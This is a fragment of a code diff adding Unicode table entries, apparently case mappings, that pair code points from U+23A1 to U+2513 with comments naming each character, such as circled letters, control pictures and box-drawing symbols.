+ [0x23a1, 0x23a1], /* LEFT SQUARE BRACKET UPPER CORNER */
+ [0x23a2, 0x23a2], /* LEFT SQUARE BRACKET EXTENSION */
+ [0x23a3, 0x23a3], /* LEFT SQUARE BRACKET LOWER CORNER */
+ [0x23a4, 0x23a4], /* RIGHT SQUARE BRACKET UPPER CORNER */
+ [0x23a5, 0x23a5], /* RIGHT SQUARE BRACKET EXTENSION */
+ [0x23a6, 0x23a6], /* RIGHT SQUARE BRACKET LOWER CORNER */
+ [0x23a7, 0x23a7], /* LEFT CURLY BRACKET UPPER HOOK */
+ [0x23a8, 0x23a8], /* LEFT CURLY BRACKET MIDDLE PIECE */
+ [0x23a9, 0x23a9], /* LEFT CURLY BRACKET LOWER HOOK */
+ [0x23aa, 0x23aa], /* CURLY BRACKET EXTENSION */
+ [0x23ab, 0x23ab], /* RIGHT CURLY BRACKET UPPER HOOK */
+ [0x23ac, 0x23ac], /* RIGHT CURLY BRACKET MIDDLE PIECE */
+ [0x23ad, 0x23ad], /* RIGHT CURLY BRACKET LOWER HOOK */
+ [0x23ae, 0x23ae], /* INTEGRAL EXTENSION */
+ [0x23af, 0x23af], /* HORIZONTAL LINE EXTENSION */
+ [0x23b0, 0x23b0], /* UPPER LEFT OR LOWER RIGHT CURLY BRACKET SECTION */
+ [0x23b1, 0x23b1], /* UPPER RIGHT OR LOWER LEFT CURLY BRACKET SECTION */
+ [0x23b2, 0x23b2], /* SUMMATION TOP */
+ [0x23b3, 0x23b3], /* SUMMATION BOTTOM */
+ [0x23b4, 0x23b4], /* TOP SQUARE BRACKET */
+ [0x23b5, 0x23b5], /* BOTTOM SQUARE BRACKET */
+ [0x23b6, 0x23b6], /* BOTTOM SQUARE BRACKET OVER TOP SQUARE BRACKET */
+ [0x23b7, 0x23b7], /* RADICAL SYMBOL BOTTOM */
+ [0x23b8, 0x23b8], /* LEFT VERTICAL BOX LINE */
+ [0x23b9, 0x23b9], /* RIGHT VERTICAL BOX LINE */
+ [0x23ba, 0x23ba], /* HORIZONTAL SCAN LINE-1 */
+ [0x23bb, 0x23bb], /* HORIZONTAL SCAN LINE-3 */
+ [0x23bc, 0x23bc], /* HORIZONTAL SCAN LINE-7 */
+ [0x23bd, 0x23bd], /* HORIZONTAL SCAN LINE-9 */
+ [0x23be, 0x23be], /* DENTISTRY SYMBOL LIGHT VERTICAL AND TOP RIGHT */
+ [0x23bf, 0x23bf], /* DENTISTRY SYMBOL LIGHT VERTICAL AND BOTTOM RIGHT */
+ [0x23c0, 0x23c0], /* DENTISTRY SYMBOL LIGHT VERTICAL WITH CIRCLE */
+ [0x23c1, 0x23c1], /* DENTISTRY SYMBOL LIGHT DOWN AND HORIZONTAL WITH CIRCLE */
+ [0x23c2, 0x23c2], /* DENTISTRY SYMBOL LIGHT UP AND HORIZONTAL WITH CIRCLE */
+ [0x23c3, 0x23c3], /* DENTISTRY SYMBOL LIGHT VERTICAL WITH TRIANGLE */
+ [0x23c4, 0x23c4], /* DENTISTRY SYMBOL LIGHT DOWN AND HORIZONTAL WITH TRIANGLE */
+ [0x23c5, 0x23c5], /* DENTISTRY SYMBOL LIGHT UP AND HORIZONTAL WITH TRIANGLE */
+ [0x23c6, 0x23c6], /* DENTISTRY SYMBOL LIGHT VERTICAL AND WAVE */
+ [0x23c7, 0x23c7], /* DENTISTRY SYMBOL LIGHT DOWN AND HORIZONTAL WITH WAVE */
+ [0x23c8, 0x23c8], /* DENTISTRY SYMBOL LIGHT UP AND HORIZONTAL WITH WAVE */
+ [0x23c9, 0x23c9], /* DENTISTRY SYMBOL LIGHT DOWN AND HORIZONTAL */
+ [0x23ca, 0x23ca], /* DENTISTRY SYMBOL LIGHT UP AND HORIZONTAL */
+ [0x23cb, 0x23cb], /* DENTISTRY SYMBOL LIGHT VERTICAL AND TOP LEFT */
+ [0x23cc, 0x23cc], /* DENTISTRY SYMBOL LIGHT VERTICAL AND BOTTOM LEFT */
+ [0x23cd, 0x23cd], /* SQUARE FOOT */
+ [0x23ce, 0x23ce], /* RETURN SYMBOL */
+ [0x23cf, 0x23cf], /* EJECT SYMBOL */
+ [0x23d0, 0x23d0], /* VERTICAL LINE EXTENSION */
+ [0x23d1, 0x23d1], /* METRICAL BREVE */
+ [0x23d2, 0x23d2], /* METRICAL LONG OVER SHORT */
+ [0x23d3, 0x23d3], /* METRICAL SHORT OVER LONG */
+ [0x23d4, 0x23d4], /* METRICAL LONG OVER TWO SHORTS */
+ [0x23d5, 0x23d5], /* METRICAL TWO SHORTS OVER LONG */
+ [0x23d6, 0x23d6], /* METRICAL TWO SHORTS JOINED */
+ [0x23d7, 0x23d7], /* METRICAL TRISEME */
+ [0x23d8, 0x23d8], /* METRICAL TETRASEME */
+ [0x23d9, 0x23d9], /* METRICAL PENTASEME */
+ [0x23da, 0x23da], /* EARTH GROUND */
+ [0x23db, 0x23db], /* FUSE */
+ [0x23dc, 0x23dc], /* TOP PARENTHESIS */
+ [0x23dd, 0x23dd], /* BOTTOM PARENTHESIS */
+ [0x23de, 0x23de], /* TOP CURLY BRACKET */
+ [0x23df, 0x23df], /* BOTTOM CURLY BRACKET */
+ [0x23e0, 0x23e0], /* TOP TORTOISE SHELL BRACKET */
+ [0x23e1, 0x23e1], /* BOTTOM TORTOISE SHELL BRACKET */
+ [0x23e2, 0x23e2], /* WHITE TRAPEZIUM */
+ [0x23e3, 0x23e3], /* BENZENE RING WITH CIRCLE */
+ [0x23e4, 0x23e4], /* STRAIGHTNESS */
+ [0x23e5, 0x23e5], /* FLATNESS */
+ [0x23e6, 0x23e6], /* AC CURRENT */
+ [0x23e7, 0x23e7], /* ELECTRICAL INTERSECTION */
+ [0x23e8, 0x23e8], /* DECIMAL EXPONENT SYMBOL */
+ [0x23e9, 0x23e9], /* BLACK RIGHT-POINTING DOUBLE TRIANGLE */
+ [0x23ea, 0x23ea], /* BLACK LEFT-POINTING DOUBLE TRIANGLE */
+ [0x23eb, 0x23eb], /* BLACK UP-POINTING DOUBLE TRIANGLE */
+ [0x23ec, 0x23ec], /* BLACK DOWN-POINTING DOUBLE TRIANGLE */
+ [0x23ed, 0x23ed], /* BLACK RIGHT-POINTING DOUBLE TRIANGLE WITH VERTICAL BAR */
+ [0x23ee, 0x23ee], /* BLACK LEFT-POINTING DOUBLE TRIANGLE WITH VERTICAL BAR */
+ [0x23ef, 0x23ef], /* BLACK RIGHT-POINTING TRIANGLE WITH DOUBLE VERTICAL BAR */
+ [0x23f0, 0x23f0], /* ALARM CLOCK */
+ [0x23f1, 0x23f1], /* STOPWATCH */
+ [0x23f2, 0x23f2], /* TIMER CLOCK */
+ [0x23f3, 0x23f3], /* HOURGLASS WITH FLOWING SAND */
+ [0x23f4, 0x23f4], /* BLACK MEDIUM LEFT-POINTING TRIANGLE */
+ [0x23f5, 0x23f5], /* BLACK MEDIUM RIGHT-POINTING TRIANGLE */
+ [0x23f6, 0x23f6], /* BLACK MEDIUM UP-POINTING TRIANGLE */
+ [0x23f7, 0x23f7], /* BLACK MEDIUM DOWN-POINTING TRIANGLE */
+ [0x23f8, 0x23f8], /* DOUBLE VERTICAL BAR */
+ [0x23f9, 0x23f9], /* BLACK SQUARE FOR STOP */
+ [0x23fa, 0x23fa], /* BLACK CIRCLE FOR RECORD */
+ [0x23fb, 0x23fb], /* POWER SYMBOL */
+ [0x23fc, 0x23fc], /* POWER ON-OFF SYMBOL */
+ [0x23fd, 0x23fd], /* POWER ON SYMBOL */
+ [0x23fe, 0x23fe], /* POWER SLEEP SYMBOL */
+ [0x23ff, 0x23ff],
+ [0x2400, 0x2400], /* SYMBOL FOR NULL (GRAPHIC FOR NULL) */
+ [0x2401, 0x2401], /* SYMBOL FOR START OF HEADING (GRAPHIC FOR START OF HEADING) */
+ [0x2402, 0x2402], /* SYMBOL FOR START OF TEXT (GRAPHIC FOR START OF TEXT) */
+ [0x2403, 0x2403], /* SYMBOL FOR END OF TEXT (GRAPHIC FOR END OF TEXT) */
+ [0x2404, 0x2404], /* SYMBOL FOR END OF TRANSMISSION (GRAPHIC FOR END OF TRANSMISSION) */
+ [0x2405, 0x2405], /* SYMBOL FOR ENQUIRY (GRAPHIC FOR ENQUIRY) */
+ [0x2406, 0x2406], /* SYMBOL FOR ACKNOWLEDGE (GRAPHIC FOR ACKNOWLEDGE) */
+ [0x2407, 0x2407], /* SYMBOL FOR BELL (GRAPHIC FOR BELL) */
+ [0x2408, 0x2408], /* SYMBOL FOR BACKSPACE (GRAPHIC FOR BACKSPACE) */
+ [0x2409, 0x2409], /* SYMBOL FOR HORIZONTAL TABULATION (GRAPHIC FOR HORIZONTAL TABULATION) */
+ [0x240a, 0x240a], /* SYMBOL FOR LINE FEED (GRAPHIC FOR LINE FEED) */
+ [0x240b, 0x240b], /* SYMBOL FOR VERTICAL TABULATION (GRAPHIC FOR VERTICAL TABULATION) */
+ [0x240c, 0x240c], /* SYMBOL FOR FORM FEED (GRAPHIC FOR FORM FEED) */
+ [0x240d, 0x240d], /* SYMBOL FOR CARRIAGE RETURN (GRAPHIC FOR CARRIAGE RETURN) */
+ [0x240e, 0x240e], /* SYMBOL FOR SHIFT OUT (GRAPHIC FOR SHIFT OUT) */
+ [0x240f, 0x240f], /* SYMBOL FOR SHIFT IN (GRAPHIC FOR SHIFT IN) */
+ [0x2410, 0x2410], /* SYMBOL FOR DATA LINK ESCAPE (GRAPHIC FOR DATA LINK ESCAPE) */
+ [0x2411, 0x2411], /* SYMBOL FOR DEVICE CONTROL ONE (GRAPHIC FOR DEVICE CONTROL ONE) */
+ [0x2412, 0x2412], /* SYMBOL FOR DEVICE CONTROL TWO (GRAPHIC FOR DEVICE CONTROL TWO) */
+ [0x2413, 0x2413], /* SYMBOL FOR DEVICE CONTROL THREE (GRAPHIC FOR DEVICE CONTROL THREE) */
+ [0x2414, 0x2414], /* SYMBOL FOR DEVICE CONTROL FOUR (GRAPHIC FOR DEVICE CONTROL FOUR) */
+ [0x2415, 0x2415], /* SYMBOL FOR NEGATIVE ACKNOWLEDGE (GRAPHIC FOR NEGATIVE ACKNOWLEDGE) */
+ [0x2416, 0x2416], /* SYMBOL FOR SYNCHRONOUS IDLE (GRAPHIC FOR SYNCHRONOUS IDLE) */
+ [0x2417, 0x2417], /* SYMBOL FOR END OF TRANSMISSION BLOCK (GRAPHIC FOR END OF TRANSMISSION BLOCK) */
+ [0x2418, 0x2418], /* SYMBOL FOR CANCEL (GRAPHIC FOR CANCEL) */
+ [0x2419, 0x2419], /* SYMBOL FOR END OF MEDIUM (GRAPHIC FOR END OF MEDIUM) */
+ [0x241a, 0x241a], /* SYMBOL FOR SUBSTITUTE (GRAPHIC FOR SUBSTITUTE) */
+ [0x241b, 0x241b], /* SYMBOL FOR ESCAPE (GRAPHIC FOR ESCAPE) */
+ [0x241c, 0x241c], /* SYMBOL FOR FILE SEPARATOR (GRAPHIC FOR FILE SEPARATOR) */
+ [0x241d, 0x241d], /* SYMBOL FOR GROUP SEPARATOR (GRAPHIC FOR GROUP SEPARATOR) */
+ [0x241e, 0x241e], /* SYMBOL FOR RECORD SEPARATOR (GRAPHIC FOR RECORD SEPARATOR) */
+ [0x241f, 0x241f], /* SYMBOL FOR UNIT SEPARATOR (GRAPHIC FOR UNIT SEPARATOR) */
+ [0x2420, 0x2420], /* SYMBOL FOR SPACE (GRAPHIC FOR SPACE) */
+ [0x2421, 0x2421], /* SYMBOL FOR DELETE (GRAPHIC FOR DELETE) */
+ [0x2422, 0x2422], /* BLANK SYMBOL (BLANK) */
+ [0x2423, 0x2423], /* OPEN BOX */
+ [0x2424, 0x2424], /* SYMBOL FOR NEWLINE (GRAPHIC FOR NEWLINE) */
+ [0x2425, 0x2425], /* SYMBOL FOR DELETE FORM TWO */
+ [0x2426, 0x2426], /* SYMBOL FOR SUBSTITUTE FORM TWO */
+ [0x2427, 0x2427],
+ [0x2428, 0x2428],
+ [0x2429, 0x2429],
+ [0x242a, 0x242a],
+ [0x242b, 0x242b],
+ [0x242c, 0x242c],
+ [0x242d, 0x242d],
+ [0x242e, 0x242e],
+ [0x242f, 0x242f],
+ [0x2430, 0x2430],
+ [0x2431, 0x2431],
+ [0x2432, 0x2432],
+ [0x2433, 0x2433],
+ [0x2434, 0x2434],
+ [0x2435, 0x2435],
+ [0x2436, 0x2436],
+ [0x2437, 0x2437],
+ [0x2438, 0x2438],
+ [0x2439, 0x2439],
+ [0x243a, 0x243a],
+ [0x243b, 0x243b],
+ [0x243c, 0x243c],
+ [0x243d, 0x243d],
+ [0x243e, 0x243e],
+ [0x243f, 0x243f],
+ [0x2440, 0x2440], /* OCR HOOK */
+ [0x2441, 0x2441], /* OCR CHAIR */
+ [0x2442, 0x2442], /* OCR FORK */
+ [0x2443, 0x2443], /* OCR INVERTED FORK */
+ [0x2444, 0x2444], /* OCR BELT BUCKLE */
+ [0x2445, 0x2445], /* OCR BOW TIE */
+ [0x2446, 0x2446], /* OCR BRANCH BANK IDENTIFICATION */
+ [0x2447, 0x2447], /* OCR AMOUNT OF CHECK */
+ [0x2448, 0x2448], /* OCR DASH */
+ [0x2449, 0x2449], /* OCR CUSTOMER ACCOUNT NUMBER */
+ [0x244a, 0x244a], /* OCR DOUBLE BACKSLASH */
+ [0x244b, 0x244b],
+ [0x244c, 0x244c],
+ [0x244d, 0x244d],
+ [0x244e, 0x244e],
+ [0x244f, 0x244f],
+ [0x2450, 0x2450],
+ [0x2451, 0x2451],
+ [0x2452, 0x2452],
+ [0x2453, 0x2453],
+ [0x2454, 0x2454],
+ [0x2455, 0x2455],
+ [0x2456, 0x2456],
+ [0x2457, 0x2457],
+ [0x2458, 0x2458],
+ [0x2459, 0x2459],
+ [0x245a, 0x245a],
+ [0x245b, 0x245b],
+ [0x245c, 0x245c],
+ [0x245d, 0x245d],
+ [0x245e, 0x245e],
+ [0x245f, 0x245f],
+ [0x2460, 0x2460], /* CIRCLED DIGIT ONE */
+ [0x2461, 0x2461], /* CIRCLED DIGIT TWO */
+ [0x2462, 0x2462], /* CIRCLED DIGIT THREE */
+ [0x2463, 0x2463], /* CIRCLED DIGIT FOUR */
+ [0x2464, 0x2464], /* CIRCLED DIGIT FIVE */
+ [0x2465, 0x2465], /* CIRCLED DIGIT SIX */
+ [0x2466, 0x2466], /* CIRCLED DIGIT SEVEN */
+ [0x2467, 0x2467], /* CIRCLED DIGIT EIGHT */
+ [0x2468, 0x2468], /* CIRCLED DIGIT NINE */
+ [0x2469, 0x2469], /* CIRCLED NUMBER TEN */
+ [0x246a, 0x246a], /* CIRCLED NUMBER ELEVEN */
+ [0x246b, 0x246b], /* CIRCLED NUMBER TWELVE */
+ [0x246c, 0x246c], /* CIRCLED NUMBER THIRTEEN */
+ [0x246d, 0x246d], /* CIRCLED NUMBER FOURTEEN */
+ [0x246e, 0x246e], /* CIRCLED NUMBER FIFTEEN */
+ [0x246f, 0x246f], /* CIRCLED NUMBER SIXTEEN */
+ [0x2470, 0x2470], /* CIRCLED NUMBER SEVENTEEN */
+ [0x2471, 0x2471], /* CIRCLED NUMBER EIGHTEEN */
+ [0x2472, 0x2472], /* CIRCLED NUMBER NINETEEN */
+ [0x2473, 0x2473], /* CIRCLED NUMBER TWENTY */
+ [0x2474, 0x2474], /* PARENTHESIZED DIGIT ONE */
+ [0x2475, 0x2475], /* PARENTHESIZED DIGIT TWO */
+ [0x2476, 0x2476], /* PARENTHESIZED DIGIT THREE */
+ [0x2477, 0x2477], /* PARENTHESIZED DIGIT FOUR */
+ [0x2478, 0x2478], /* PARENTHESIZED DIGIT FIVE */
+ [0x2479, 0x2479], /* PARENTHESIZED DIGIT SIX */
+ [0x247a, 0x247a], /* PARENTHESIZED DIGIT SEVEN */
+ [0x247b, 0x247b], /* PARENTHESIZED DIGIT EIGHT */
+ [0x247c, 0x247c], /* PARENTHESIZED DIGIT NINE */
+ [0x247d, 0x247d], /* PARENTHESIZED NUMBER TEN */
+ [0x247e, 0x247e], /* PARENTHESIZED NUMBER ELEVEN */
+ [0x247f, 0x247f], /* PARENTHESIZED NUMBER TWELVE */
+ [0x2480, 0x2480], /* PARENTHESIZED NUMBER THIRTEEN */
+ [0x2481, 0x2481], /* PARENTHESIZED NUMBER FOURTEEN */
+ [0x2482, 0x2482], /* PARENTHESIZED NUMBER FIFTEEN */
+ [0x2483, 0x2483], /* PARENTHESIZED NUMBER SIXTEEN */
+ [0x2484, 0x2484], /* PARENTHESIZED NUMBER SEVENTEEN */
+ [0x2485, 0x2485], /* PARENTHESIZED NUMBER EIGHTEEN */
+ [0x2486, 0x2486], /* PARENTHESIZED NUMBER NINETEEN */
+ [0x2487, 0x2487], /* PARENTHESIZED NUMBER TWENTY */
+ [0x2488, 0x2488], /* DIGIT ONE FULL STOP (DIGIT ONE PERIOD) */
+ [0x2489, 0x2489], /* DIGIT TWO FULL STOP (DIGIT TWO PERIOD) */
+ [0x248a, 0x248a], /* DIGIT THREE FULL STOP (DIGIT THREE PERIOD) */
+ [0x248b, 0x248b], /* DIGIT FOUR FULL STOP (DIGIT FOUR PERIOD) */
+ [0x248c, 0x248c], /* DIGIT FIVE FULL STOP (DIGIT FIVE PERIOD) */
+ [0x248d, 0x248d], /* DIGIT SIX FULL STOP (DIGIT SIX PERIOD) */
+ [0x248e, 0x248e], /* DIGIT SEVEN FULL STOP (DIGIT SEVEN PERIOD) */
+ [0x248f, 0x248f], /* DIGIT EIGHT FULL STOP (DIGIT EIGHT PERIOD) */
+ [0x2490, 0x2490], /* DIGIT NINE FULL STOP (DIGIT NINE PERIOD) */
+ [0x2491, 0x2491], /* NUMBER TEN FULL STOP (NUMBER TEN PERIOD) */
+ [0x2492, 0x2492], /* NUMBER ELEVEN FULL STOP (NUMBER ELEVEN PERIOD) */
+ [0x2493, 0x2493], /* NUMBER TWELVE FULL STOP (NUMBER TWELVE PERIOD) */
+ [0x2494, 0x2494], /* NUMBER THIRTEEN FULL STOP (NUMBER THIRTEEN PERIOD) */
+ [0x2495, 0x2495], /* NUMBER FOURTEEN FULL STOP (NUMBER FOURTEEN PERIOD) */
+ [0x2496, 0x2496], /* NUMBER FIFTEEN FULL STOP (NUMBER FIFTEEN PERIOD) */
+ [0x2497, 0x2497], /* NUMBER SIXTEEN FULL STOP (NUMBER SIXTEEN PERIOD) */
+ [0x2498, 0x2498], /* NUMBER SEVENTEEN FULL STOP (NUMBER SEVENTEEN PERIOD) */
+ [0x2499, 0x2499], /* NUMBER EIGHTEEN FULL STOP (NUMBER EIGHTEEN PERIOD) */
+ [0x249a, 0x249a], /* NUMBER NINETEEN FULL STOP (NUMBER NINETEEN PERIOD) */
+ [0x249b, 0x249b], /* NUMBER TWENTY FULL STOP (NUMBER TWENTY PERIOD) */
+ [0x249c, 0x249c], /* PARENTHESIZED LATIN SMALL LETTER A */
+ [0x249d, 0x249d], /* PARENTHESIZED LATIN SMALL LETTER B */
+ [0x249e, 0x249e], /* PARENTHESIZED LATIN SMALL LETTER C */
+ [0x249f, 0x249f], /* PARENTHESIZED LATIN SMALL LETTER D */
+ [0x24a0, 0x24a0], /* PARENTHESIZED LATIN SMALL LETTER E */
+ [0x24a1, 0x24a1], /* PARENTHESIZED LATIN SMALL LETTER F */
+ [0x24a2, 0x24a2], /* PARENTHESIZED LATIN SMALL LETTER G */
+ [0x24a3, 0x24a3], /* PARENTHESIZED LATIN SMALL LETTER H */
+ [0x24a4, 0x24a4], /* PARENTHESIZED LATIN SMALL LETTER I */
+ [0x24a5, 0x24a5], /* PARENTHESIZED LATIN SMALL LETTER J */
+ [0x24a6, 0x24a6], /* PARENTHESIZED LATIN SMALL LETTER K */
+ [0x24a7, 0x24a7], /* PARENTHESIZED LATIN SMALL LETTER L */
+ [0x24a8, 0x24a8], /* PARENTHESIZED LATIN SMALL LETTER M */
+ [0x24a9, 0x24a9], /* PARENTHESIZED LATIN SMALL LETTER N */
+ [0x24aa, 0x24aa], /* PARENTHESIZED LATIN SMALL LETTER O */
+ [0x24ab, 0x24ab], /* PARENTHESIZED LATIN SMALL LETTER P */
+ [0x24ac, 0x24ac], /* PARENTHESIZED LATIN SMALL LETTER Q */
+ [0x24ad, 0x24ad], /* PARENTHESIZED LATIN SMALL LETTER R */
+ [0x24ae, 0x24ae], /* PARENTHESIZED LATIN SMALL LETTER S */
+ [0x24af, 0x24af], /* PARENTHESIZED LATIN SMALL LETTER T */
+ [0x24b0, 0x24b0], /* PARENTHESIZED LATIN SMALL LETTER U */
+ [0x24b1, 0x24b1], /* PARENTHESIZED LATIN SMALL LETTER V */
+ [0x24b2, 0x24b2], /* PARENTHESIZED LATIN SMALL LETTER W */
+ [0x24b3, 0x24b3], /* PARENTHESIZED LATIN SMALL LETTER X */
+ [0x24b4, 0x24b4], /* PARENTHESIZED LATIN SMALL LETTER Y */
+ [0x24b5, 0x24b5], /* PARENTHESIZED LATIN SMALL LETTER Z */
+ [0x24b6, 0x24d0], /* CIRCLED LATIN CAPITAL LETTER A */
+ [0x24b7, 0x24d1], /* CIRCLED LATIN CAPITAL LETTER B */
+ [0x24b8, 0x24d2], /* CIRCLED LATIN CAPITAL LETTER C */
+ [0x24b9, 0x24d3], /* CIRCLED LATIN CAPITAL LETTER D */
+ [0x24ba, 0x24d4], /* CIRCLED LATIN CAPITAL LETTER E */
+ [0x24bb, 0x24d5], /* CIRCLED LATIN CAPITAL LETTER F */
+ [0x24bc, 0x24d6], /* CIRCLED LATIN CAPITAL LETTER G */
+ [0x24bd, 0x24d7], /* CIRCLED LATIN CAPITAL LETTER H */
+ [0x24be, 0x24d8], /* CIRCLED LATIN CAPITAL LETTER I */
+ [0x24bf, 0x24d9], /* CIRCLED LATIN CAPITAL LETTER J */
+ [0x24c0, 0x24da], /* CIRCLED LATIN CAPITAL LETTER K */
+ [0x24c1, 0x24db], /* CIRCLED LATIN CAPITAL LETTER L */
+ [0x24c2, 0x24dc], /* CIRCLED LATIN CAPITAL LETTER M */
+ [0x24c3, 0x24dd], /* CIRCLED LATIN CAPITAL LETTER N */
+ [0x24c4, 0x24de], /* CIRCLED LATIN CAPITAL LETTER O */
+ [0x24c5, 0x24df], /* CIRCLED LATIN CAPITAL LETTER P */
+ [0x24c6, 0x24e0], /* CIRCLED LATIN CAPITAL LETTER Q */
+ [0x24c7, 0x24e1], /* CIRCLED LATIN CAPITAL LETTER R */
+ [0x24c8, 0x24e2], /* CIRCLED LATIN CAPITAL LETTER S */
+ [0x24c9, 0x24e3], /* CIRCLED LATIN CAPITAL LETTER T */
+ [0x24ca, 0x24e4], /* CIRCLED LATIN CAPITAL LETTER U */
+ [0x24cb, 0x24e5], /* CIRCLED LATIN CAPITAL LETTER V */
+ [0x24cc, 0x24e6], /* CIRCLED LATIN CAPITAL LETTER W */
+ [0x24cd, 0x24e7], /* CIRCLED LATIN CAPITAL LETTER X */
+ [0x24ce, 0x24e8], /* CIRCLED LATIN CAPITAL LETTER Y */
+ [0x24cf, 0x24e9], /* CIRCLED LATIN CAPITAL LETTER Z */
+ [0x24b6, 0x24d0], /* CIRCLED LATIN SMALL LETTER A */
+ [0x24b7, 0x24d1], /* CIRCLED LATIN SMALL LETTER B */
+ [0x24b8, 0x24d2], /* CIRCLED LATIN SMALL LETTER C */
+ [0x24b9, 0x24d3], /* CIRCLED LATIN SMALL LETTER D */
+ [0x24ba, 0x24d4], /* CIRCLED LATIN SMALL LETTER E */
+ [0x24bb, 0x24d5], /* CIRCLED LATIN SMALL LETTER F */
+ [0x24bc, 0x24d6], /* CIRCLED LATIN SMALL LETTER G */
+ [0x24bd, 0x24d7], /* CIRCLED LATIN SMALL LETTER H */
+ [0x24be, 0x24d8], /* CIRCLED LATIN SMALL LETTER I */
+ [0x24bf, 0x24d9], /* CIRCLED LATIN SMALL LETTER J */
+ [0x24c0, 0x24da], /* CIRCLED LATIN SMALL LETTER K */
+ [0x24c1, 0x24db], /* CIRCLED LATIN SMALL LETTER L */
+ [0x24c2, 0x24dc], /* CIRCLED LATIN SMALL LETTER M */
+ [0x24c3, 0x24dd], /* CIRCLED LATIN SMALL LETTER N */
+ [0x24c4, 0x24de], /* CIRCLED LATIN SMALL LETTER O */
+ [0x24c5, 0x24df], /* CIRCLED LATIN SMALL LETTER P */
+ [0x24c6, 0x24e0], /* CIRCLED LATIN SMALL LETTER Q */
+ [0x24c7, 0x24e1], /* CIRCLED LATIN SMALL LETTER R */
+ [0x24c8, 0x24e2], /* CIRCLED LATIN SMALL LETTER S */
+ [0x24c9, 0x24e3], /* CIRCLED LATIN SMALL LETTER T */
+ [0x24ca, 0x24e4], /* CIRCLED LATIN SMALL LETTER U */
+ [0x24cb, 0x24e5], /* CIRCLED LATIN SMALL LETTER V */
+ [0x24cc, 0x24e6], /* CIRCLED LATIN SMALL LETTER W */
+ [0x24cd, 0x24e7], /* CIRCLED LATIN SMALL LETTER X */
+ [0x24ce, 0x24e8], /* CIRCLED LATIN SMALL LETTER Y */
+ [0x24cf, 0x24e9], /* CIRCLED LATIN SMALL LETTER Z */
+ [0x24ea, 0x24ea], /* CIRCLED DIGIT ZERO */
+ [0x24eb, 0x24eb], /* NEGATIVE CIRCLED NUMBER ELEVEN */
+ [0x24ec, 0x24ec], /* NEGATIVE CIRCLED NUMBER TWELVE */
+ [0x24ed, 0x24ed], /* NEGATIVE CIRCLED NUMBER THIRTEEN */
+ [0x24ee, 0x24ee], /* NEGATIVE CIRCLED NUMBER FOURTEEN */
+ [0x24ef, 0x24ef], /* NEGATIVE CIRCLED NUMBER FIFTEEN */
+ [0x24f0, 0x24f0], /* NEGATIVE CIRCLED NUMBER SIXTEEN */
+ [0x24f1, 0x24f1], /* NEGATIVE CIRCLED NUMBER SEVENTEEN */
+ [0x24f2, 0x24f2], /* NEGATIVE CIRCLED NUMBER EIGHTEEN */
+ [0x24f3, 0x24f3], /* NEGATIVE CIRCLED NUMBER NINETEEN */
+ [0x24f4, 0x24f4], /* NEGATIVE CIRCLED NUMBER TWENTY */
+ [0x24f5, 0x24f5], /* DOUBLE CIRCLED DIGIT ONE */
+ [0x24f6, 0x24f6], /* DOUBLE CIRCLED DIGIT TWO */
+ [0x24f7, 0x24f7], /* DOUBLE CIRCLED DIGIT THREE */
+ [0x24f8, 0x24f8], /* DOUBLE CIRCLED DIGIT FOUR */
+ [0x24f9, 0x24f9], /* DOUBLE CIRCLED DIGIT FIVE */
+ [0x24fa, 0x24fa], /* DOUBLE CIRCLED DIGIT SIX */
+ [0x24fb, 0x24fb], /* DOUBLE CIRCLED DIGIT SEVEN */
+ [0x24fc, 0x24fc], /* DOUBLE CIRCLED DIGIT EIGHT */
+ [0x24fd, 0x24fd], /* DOUBLE CIRCLED DIGIT NINE */
+ [0x24fe, 0x24fe], /* DOUBLE CIRCLED NUMBER TEN */
+ [0x24ff, 0x24ff], /* NEGATIVE CIRCLED DIGIT ZERO */
+ [0x2500, 0x2500], /* BOX DRAWINGS LIGHT HORIZONTAL (FORMS LIGHT HORIZONTAL) */
+ [0x2501, 0x2501], /* BOX DRAWINGS HEAVY HORIZONTAL (FORMS HEAVY HORIZONTAL) */
+ [0x2502, 0x2502], /* BOX DRAWINGS LIGHT VERTICAL (FORMS LIGHT VERTICAL) */
+ [0x2503, 0x2503], /* BOX DRAWINGS HEAVY VERTICAL (FORMS HEAVY VERTICAL) */
+ [0x2504, 0x2504], /* BOX DRAWINGS LIGHT TRIPLE DASH HORIZONTAL (FORMS LIGHT TRIPLE DASH HORIZONTAL) */
+ [0x2505, 0x2505], /* BOX DRAWINGS HEAVY TRIPLE DASH HORIZONTAL (FORMS HEAVY TRIPLE DASH HORIZONTAL) */
+ [0x2506, 0x2506], /* BOX DRAWINGS LIGHT TRIPLE DASH VERTICAL (FORMS LIGHT TRIPLE DASH VERTICAL) */
+ [0x2507, 0x2507], /* BOX DRAWINGS HEAVY TRIPLE DASH VERTICAL (FORMS HEAVY TRIPLE DASH VERTICAL) */
+ [0x2508, 0x2508], /* BOX DRAWINGS LIGHT QUADRUPLE DASH HORIZONTAL (FORMS LIGHT QUADRUPLE DASH HORIZONTAL) */
+ [0x2509, 0x2509], /* BOX DRAWINGS HEAVY QUADRUPLE DASH HORIZONTAL (FORMS HEAVY QUADRUPLE DASH HORIZONTAL) */
+ [0x250a, 0x250a], /* BOX DRAWINGS LIGHT QUADRUPLE DASH VERTICAL (FORMS LIGHT QUADRUPLE DASH VERTICAL) */
+ [0x250b, 0x250b], /* BOX DRAWINGS HEAVY QUADRUPLE DASH VERTICAL (FORMS HEAVY QUADRUPLE DASH VERTICAL) */
+ [0x250c, 0x250c], /* BOX DRAWINGS LIGHT DOWN AND RIGHT (FORMS LIGHT DOWN AND RIGHT) */
+ [0x250d, 0x250d], /* BOX DRAWINGS DOWN LIGHT AND RIGHT HEAVY (FORMS DOWN LIGHT AND RIGHT HEAVY) */
+ [0x250e, 0x250e], /* BOX DRAWINGS DOWN HEAVY AND RIGHT LIGHT (FORMS DOWN HEAVY AND RIGHT LIGHT) */
+ [0x250f, 0x250f], /* BOX DRAWINGS HEAVY DOWN AND RIGHT (FORMS HEAVY DOWN AND RIGHT) */
+ [0x2510, 0x2510], /* BOX DRAWINGS LIGHT DOWN AND LEFT (FORMS LIGHT DOWN AND LEFT) */
+ [0x2511, 0x2511], /* BOX DRAWINGS DOWN LIGHT AND LEFT HEAVY (FORMS DOWN LIGHT AND LEFT HEAVY) */
+ [0x2512, 0x2512], /* BOX DRAWINGS DOWN HEAVY AND LEFT LIGHT (FORMS DOWN HEAVY AND LEFT LIGHT) */
+ [0x2513, 0x2513], /* BOX DRAWINGS HEAVY DOWN AND LEFT (FORMS HEAVY DOWN AND LEFT) */
